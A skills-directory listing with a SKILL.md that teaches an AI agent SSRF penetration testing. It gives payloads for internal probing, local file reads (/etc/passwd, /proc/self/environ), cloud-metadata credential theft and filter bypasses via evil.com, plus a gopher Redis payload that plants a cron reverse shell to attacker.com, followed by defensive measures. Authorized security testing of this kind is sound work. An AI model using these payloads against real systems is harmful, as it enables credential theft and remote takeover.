Skip to content
Back to skills

Ssrf Testing

BSecurity

SSRF: callback proof, cloud metadata, filter bypass, blind OOB

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 29, 2026
securitypythongophpbashawsazuretestingapibackendsecurity

Works with

  • api
  • mcp

Security analysis

B88/100
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned November 29, 2026

npx -y skills add blackfoxxx/kestrel --skill ssrf-testing --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Ssrf Testing?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Ssrf Testing
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/blackfoxxx-ssrf-testing/badge)](https://www.skillsdirectory.com/skills/blackfoxxx-ssrf-testing)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: ssrf-testing
description: "SSRF: callback proof, cloud metadata, filter bypass, blind OOB"
version: 1.0.0
mcps: autopen, pentest mcp, browser
---

# SSRF Server-Side Request Forgery Testing

## Overview

SSRF (Server-Side Request Forgery) is a vulnerability that abuses the server to make requests, allowing access to internal network resources, port scanning, or firewall bypass. This skill provides methods for detecting, exploiting, and defending against SSRF vulnerabilities.

## Vulnerability Principle

The application accepts a URL parameter and requests that URL. An attacker who can control the request target can cause:
- Internal network resource access
- Local file reading
- Port scanning
- Firewall bypass
- Cloud service metadata access

## Testing Methodology

### 1. Identify SSRF Input Points

**Common features:**
- URL preview/screenshot
- File upload (remote URL)
- Webhook callbacks
- API proxy
- Data import
- Image processing
- PDF generation

### 2. Basic Detection

**Test local loopback:**
```
http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]
```

**Test internal IPs:**
```
http://192.168.1.1
http://10.0.0.1
http://172.16.0.1
```

**Test the file protocol:**
```
file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
```

### 3. Bypass Techniques

**IP address encoding:**
```
127.0.0.1 → 2130706433 (decimal)
127.0.0.1 → 0x7f000001 (hexadecimal)
127.0.0.1 → 0177.0.0.1 (octal)
```

**DNS resolution bypass:**
```
127.0.0.1.xip.io
127.0.0.1.nip.io
localtest.me
```

**URL redirect:**
```
http://attacker.com/redirect → http://127.0.0.1
```

**Protocol confusion:**
```
http://127.0.0.1:80@evil.com
http://evil.com#@127.0.0.1
```

## Exploitation Techniques

### Internal Network Probing

**Port scanning:**
```bash
# Using Burp Intruder
http://127.0.0.1:22
http://127.0.0.1:3306
http://127.0.0.1:6379
http://127.0.0.1:8080
http://127.0.0.1:9200
```

**Service identification:**
- Response time differences
- Error messages
- HTTP status codes
- Response content

### Cloud Service Metadata

**AWS EC2:**
```
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

**Google Cloud:**
```
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
```

**Azure:**
```
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01
```

**Alibaba Cloud:**
```
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
```

### Internal Application Attacks

**Access the admin backend:**
```
http://127.0.0.1:8080/admin
http://192.168.1.100/phpmyadmin
```

**Redis unauthorized access:**
```
http://127.0.0.1:6379
# Then send Redis commands
```

**FastCGI attack:**
```
http://127.0.0.1:9000
# Exploit the FastCGI protocol to execute commands
```

## Advanced Exploitation

### Gopher Protocol

**Send arbitrary protocol data:**
```
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aquit%0d%0a
```

**Redis command execution:**
```
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
```

### Dict Protocol

**Port scanning and information gathering:**
```
dict://127.0.0.1:6379/info
dict://127.0.0.1:3306/status
```

### File Protocol

**Read local files:**
```
file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
file:///proc/self/environ
```

## Tool Usage

### SSRFmap

```bash
# Basic scan
python3 ssrfmap.py -r request.txt -p url

# Port scan
python3 ssrfmap.py -r request.txt -p url -m portscan

# Cloud metadata
python3 ssrfmap.py -r request.txt -p url -m cloud
```

### Gopherus

```bash
# Generate Gopher payload
python gopherus.py --exploit redis
```

### Burp Collaborator

**Detect blind SSRF:**
```
http://burpcollaborator.net
# Observe whether any DNS/HTTP requests arrive
```

## Verification and Reporting

### Verification Steps

1. Confirm that the request target can be controlled
2. Verify internal network resource access or port scanning
3. Assess the impact scope (internal network penetration, data leakage, etc.)
4. Record a complete PoC
5. Submit confirmed vulnerabilities to the platform via the `report_finding` tool (the only entry point for recording vulnerabilities on this platform), with fields covering location, type, severity, reproduction steps/PoC, and remediation advice

### Reporting Key Points

- Vulnerability location and input parameter
- Accessible internal network resources or ports
- Complete exploitation steps and PoC
- Remediation advice (URL allowlist, disabling dangerous protocols, etc.)

## Defensive Measures

### Recommended Approaches

1. **URL allowlist**
   ```python
   ALLOWED_DOMAINS = ['example.com', 'cdn.example.com']
   parsed = urlparse(url)
   if parsed.netloc not in ALLOWED_DOMAINS:
       raise ValueError("Domain not allowed")
   ```

2. **Disable dangerous protocols**
   - Allow only http/https
   - Forbid file://, gopher://, dict://, etc.

3. **IP address filtering**
   ```python
   import ipaddress
   
   def is_internal_ip(ip):
       return ipaddress.ip_address(ip).is_private or \
              ipaddress.ip_address(ip).is_loopback
   ```

4. **Use DNS resolution validation**
   - Resolve the domain to obtain the IP
   - Verify whether the IP falls within the internal network range

5. **Network isolation**
   - Restrict the server's outbound network access
   - Use a proxy server

## Notes

- Perform only in authorized test environments
- Avoid affecting internal network systems
- Be aware of protocol support differences
- Watch the request rate during testing to avoid triggering defenses

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.